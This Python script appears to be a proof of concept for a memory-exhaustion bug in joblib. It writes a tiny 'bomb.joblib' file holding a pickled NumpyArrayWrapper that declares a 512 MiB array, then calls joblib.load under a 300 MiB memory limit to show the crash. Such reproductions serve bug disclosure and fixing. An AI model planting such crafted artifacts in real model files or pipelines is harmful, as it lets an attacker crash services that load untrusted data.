| from __future__ import annotations |
|
|
| import pickle |
| import resource |
| import sys |
| import tempfile |
| from pathlib import Path |
|
|
|
|
| ROOT = Path(__file__).resolve().parents[2] |
| REPO_ROOT = ROOT / "repo" |
| WORKSPACE = ROOT.parents[1] |
|
|
| for candidate in ( |
| WORKSPACE / ".pydeps-joblib", |
| REPO_ROOT, |
| ): |
| candidate_str = str(candidate) |
| if candidate.exists() and candidate_str not in sys.path: |
| sys.path.insert(0, candidate_str) |
|
|
| import numpy as np |
| from joblib import load |
| from joblib.numpy_pickle import NumpyArrayWrapper |
|
|
|
|
| def main() -> None: |
| base = Path(tempfile.mkdtemp(prefix="joblib-wrapper-bomb-")) |
| artifact_path = base / "bomb.joblib" |
|
|
| wrapper = NumpyArrayWrapper( |
| np.ndarray, |
| (512 * 1024 * 1024,), |
| "C", |
| np.dtype("u1"), |
| allow_mmap=False, |
| ) |
| with artifact_path.open("wb") as f: |
| pickle.dump(wrapper, f, protocol=4) |
|
|
| with artifact_path.open("rb") as f: |
| inert = pickle.load(f) |
|
|
| print(f"artifact={artifact_path}") |
| print(f"artifact_size={artifact_path.stat().st_size}") |
| print(f"pickle_load={type(inert).__name__} shape={inert.shape} dtype={inert.dtype}") |
|
|
| resource.setrlimit(resource.RLIMIT_AS, (300 * 1024 * 1024, 300 * 1024 * 1024)) |
|
|
| try: |
| load(artifact_path) |
| print("joblib_load=success") |
| except BaseException as exc: |
| print(f"joblib_load={type(exc).__name__}: {exc}") |
|
|
|
|
| if __name__ == "__main__": |
| main() |
|
|